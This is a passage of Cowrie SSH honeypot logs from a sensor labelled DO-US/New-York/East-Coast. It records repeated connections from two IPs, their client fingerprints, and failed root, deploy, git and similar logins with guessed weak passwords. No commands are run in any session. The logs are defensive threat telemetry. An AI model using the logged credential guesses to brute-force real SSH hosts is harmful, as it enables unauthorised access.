0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:32.263212Z","src_ip":"172.237.20.62","session":"e22ec6b982fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:32.793258Z","src_ip":"172.237.20.62","session":"e22ec6b982fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:33.955836Z","src_ip":"172.237.20.62","session":"e22ec6b982fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34388,"dst_ip":"159.203.135.109","dst_port":22,"session":"8428e8d302a1","protocol":"ssh","message":"New connection: 172.237.20.62:34388 (159.203.135.109:22) [session: 8428e8d302a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:43.001506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:43.006512Z","src_ip":"172.237.20.62","session":"8428e8d302a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:43.170035Z","src_ip":"172.237.20.62","session":"8428e8d302a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:43.868482Z","src_ip":"172.237.20.62","session":"8428e8d302a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:45.035424Z","src_ip":"172.237.20.62","session":"8428e8d302a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53042,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ab92fbb5120","protocol":"ssh","message":"New connection: 172.237.20.62:53042 (159.203.135.109:22) [session: 9ab92fbb5120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:54.220256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:54.225766Z","src_ip":"172.237.20.62","session":"9ab92fbb5120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:54.393072Z","src_ip":"172.237.20.62","session":"9ab92fbb5120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57596,"dst_ip":"159.203.135.109","dst_port":22,"session":"74567630cdc7","protocol":"ssh","message":"New connection: 89.144.211.139:57596 (159.203.135.109:22) [session: 74567630cdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:54.655602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:54.661924Z","src_ip":"89.144.211.139","session":"74567630cdc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:54.805229Z","src_ip":"89.144.211.139","session":"74567630cdc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:54.882895Z","src_ip":"172.237.20.62","session":"9ab92fbb5120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass@2024","message":"login attempt [ubuntu/Pass@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:55.371497Z","src_ip":"89.144.211.139","session":"74567630cdc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:56.049580Z","src_ip":"172.237.20.62","session":"9ab92fbb5120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:56.500948Z","src_ip":"89.144.211.139","session":"74567630cdc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44428,"dst_ip":"159.203.135.109","dst_port":22,"session":"55700a15b5cd","protocol":"ssh","message":"New connection: 172.237.20.62:44428 (159.203.135.109:22) [session: 55700a15b5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:05.148382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:05.154819Z","src_ip":"172.237.20.62","session":"55700a15b5cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:05.316614Z","src_ip":"172.237.20.62","session":"55700a15b5cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:05.804102Z","src_ip":"172.237.20.62","session":"55700a15b5cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:06.968846Z","src_ip":"172.237.20.62","session":"55700a15b5cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50872,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc45eb313311","protocol":"ssh","message":"New connection: 172.237.20.62:50872 (159.203.135.109:22) [session: dc45eb313311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:16.140345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:16.145433Z","src_ip":"172.237.20.62","session":"dc45eb313311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:16.313993Z","src_ip":"172.237.20.62","session":"dc45eb313311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:16.803548Z","src_ip":"172.237.20.62","session":"dc45eb313311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:17.969446Z","src_ip":"172.237.20.62","session":"dc45eb313311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":39004,"dst_ip":"159.203.135.109","dst_port":22,"session":"b87ff62867e3","protocol":"ssh","message":"New connection: 172.237.20.62:39004 (159.203.135.109:22) [session: b87ff62867e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:27.185920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:27.190566Z","src_ip":"172.237.20.62","session":"b87ff62867e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:27.358462Z","src_ip":"172.237.20.62","session":"b87ff62867e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:27.889575Z","src_ip":"172.237.20.62","session":"b87ff62867e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:29.056229Z","src_ip":"172.237.20.62","session":"b87ff62867e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50496,"dst_ip":"159.203.135.109","dst_port":22,"session":"de593effb676","protocol":"ssh","message":"New connection: 172.237.20.62:50496 (159.203.135.109:22) [session: de593effb676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:38.128310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:38.132851Z","src_ip":"172.237.20.62","session":"de593effb676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:38.295230Z","src_ip":"172.237.20.62","session":"de593effb676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:38.801051Z","src_ip":"172.237.20.62","session":"de593effb676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:39.968423Z","src_ip":"172.237.20.62","session":"de593effb676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49690,"dst_ip":"159.203.135.109","dst_port":22,"session":"63a8fc158b9a","protocol":"ssh","message":"New connection: 172.237.20.62:49690 (159.203.135.109:22) [session: 63a8fc158b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:49.289291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:49.297673Z","src_ip":"172.237.20.62","session":"63a8fc158b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:49.457046Z","src_ip":"172.237.20.62","session":"63a8fc158b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:49.937061Z","src_ip":"172.237.20.62","session":"63a8fc158b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:51.099990Z","src_ip":"172.237.20.62","session":"63a8fc158b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57597,"dst_ip":"159.203.135.109","dst_port":22,"session":"04bed2cec5f1","protocol":"ssh","message":"New connection: 89.144.211.139:57597 (159.203.135.109:22) [session: 04bed2cec5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:58.701500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:02:58.707414Z","src_ip":"89.144.211.139","session":"04bed2cec5f1","protocol":"ssh"}
